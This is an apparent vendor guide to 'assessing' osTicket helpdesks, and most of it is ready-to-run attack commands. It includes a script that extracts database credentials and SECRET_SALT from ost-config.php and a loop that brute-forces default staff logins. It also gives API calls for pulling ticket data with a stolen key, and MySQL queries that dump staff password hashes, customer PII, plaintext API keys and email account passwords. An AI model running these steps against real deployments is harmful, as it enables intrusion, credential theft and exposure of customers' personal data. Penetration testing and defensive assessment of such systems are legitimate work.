osTicket is one of the most widely deployed open-source helpdesk platforms — organizations use it to manage customer support tickets containing sensitive personal information, internal requests, and confidential communications. Key assessment areas: include/ost-config.php exposes MySQL credentials providing access to all ticket data; staff credentials are frequently weak; the REST API uses cleartext API keys; and ticket attachments may be accessible directly if the upload directory is web-accessible. This guide covers systematic osTicket security assessment.
# osTicket — ost-config.php MySQL credential extraction
OST_URL="https://helpdesk.example.com"
# include/ost-config.php — osTicket main configuration (CRITICAL)
cat /var/www/osticket/include/ost-config.php 2>/dev/null
# define('DBHOST','localhost');
# define('DBNAME','osticket');
# define('DBUSER','osticket');
# define('DBPASS','...'); <-- MySQL database password
# define('SECRET_SALT','...'); <-- used in password hashing
# define('ADMIN_EMAIL','...'); <-- admin email address
python3 -c "
import re
content = open('/var/www/osticket/include/ost-config.php').read()
patterns = {
'DBPASS': r\"define\('DBPASS','([^']+)'\)\",
'DBUSER': r\"define\('DBUSER','([^']+)'\)\",
'DBNAME': r\"define\('DBNAME','([^']+)'\)\",
'SECRET_SALT': r\"define\('SECRET_SALT','([^']+)'\)\",
'ADMIN_EMAIL': r\"define\('ADMIN_EMAIL','([^']+)'\)\",
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m:
print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# Check if setup/ directory was not removed after installation
curl -s -o /dev/null -w "%{http_code}" "${OST_URL}/setup/" 2>/dev/null
# 200 = setup directory accessible — allows reinstallation and admin account reset
# Should return 403 or 404 after installation
# osTicket REST API key and staff credential assessment
OST_URL="https://helpdesk.example.com"
# Test default staff credentials at /scp/ (staff control panel)
for CRED in "admin:admin" "admin:password" "ostadmin:admin" "admin:osticket"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${OST_URL}/scp/login.php" \
-d "userid=${USER}&passwd=${PASS}&do=scplogin" \
-c /tmp/ost_cookies 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
# Check if redirect to dashboard (302 to /scp/ = success)
done
# REST API — osTicket REST API uses cleartext API keys
# API keys are stored in ost_api_keys table in MySQL
# Test API access with extracted key
API_KEY="your-extracted-api-key"
# List all tickets via API (requires API key with read access)
curl -s "${OST_URL}/api/tickets.json" \
-H "X-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'Total tickets: {len(d)}')
for t in d[:5]:
print(f' #{t.get(\"number\")} {t.get(\"subject\")} from={t.get(\"email\")}')
except: pass
" 2>/dev/null
# Create a test ticket (verify API key write access)
curl -s -X POST "${OST_URL}/api/tickets.json" \
-H "X-API-Key: ${API_KEY}" \
-H "Content-Type: application/json" \
-d '{"name":"Test User","email":"test@test.com","subject":"API Test","message":"Testing API access"}' \
2>/dev/null | head -5
# osTicket MySQL database — ticket data, PII, and email credentials
DB_PASS="extracted-dbpass"
mysql -u osticket -p"${DB_PASS}" osticket 2>/dev/null << 'EOF'
-- Staff accounts with password hashes
SELECT s.staff_id, s.username, s.email, s.passwd,
s.isadmin, s.isactive
FROM ost_staff s
ORDER BY s.isadmin DESC
LIMIT 20;
-- passwd: MD5-based hash (legacy) or bcrypt (newer versions)
-- All open tickets with customer PII
SELECT t.number, t.created, t.subject,
u.name as customer_name,
e.address as customer_email,
t.source, t.status_id
FROM ost_ticket t
JOIN ost_user u ON t.user_id = u.id
JOIN ost_user_email e ON u.id = e.user_id
ORDER BY t.created DESC
LIMIT 20;
-- API keys (plaintext)
SELECT api_id, name, apikey, ipaddr, can_create_tickets, can_exec_cron
FROM ost_api_keys
WHERE isactive = 1;
-- Email accounts with IMAP/SMTP credentials
SELECT email_id, name, email, host_name, flags,
username, passwd -- email account password
FROM ost_email
LIMIT 10;
-- Ticket thread messages (contains actual ticket content)
SELECT et.ticket_id, et.type, et.poster, et.body
FROM ost_ticket_thread et
ORDER BY et.created DESC
LIMIT 5;
EOF
| Security Test | Method | Risk |
|---|---|---|
| ost-config.php DBPASS and SECRET_SALT extraction | Read include/ost-config.php — MySQL credentials for all ticket data; SECRET_SALT enables cracking all ost_staff password hashes | Critical |
| Setup directory accessible after installation | GET /setup/ returns 200 — reinstallation possible; admin password reset without existing credentials | Critical |
| REST API key extraction — full ticket access | MySQL SELECT apikey FROM ost_api_keys — plaintext API keys; full ticket CRUD access; customer PII enumeration | High |
| Staff credential brute-force (admin/admin, admin/osticket) | POST /scp/login.php — staff panel access; ticket management, customer PII, email credentials in admin panel | High |
| Email IMAP/SMTP credential extraction | MySQL SELECT passwd FROM ost_email — email account passwords for IMAP fetch and SMTP send accounts | High |
Ironimo tests osTicket deployments for include/ost-config.php DBPASS extraction, setup/ directory post-installation accessibility, REST API key plaintext extraction from ost_api_keys, staff credential brute-force at /scp/login.php (admin/admin, admin/osticket), ost_staff MD5/bcrypt password hash extraction, customer PII exposure from ost_ticket and ost_user tables, email IMAP/SMTP credential disclosure from ost_email, ticket thread message content extraction, and attachment directory web-accessible access control assessment.
Start free scan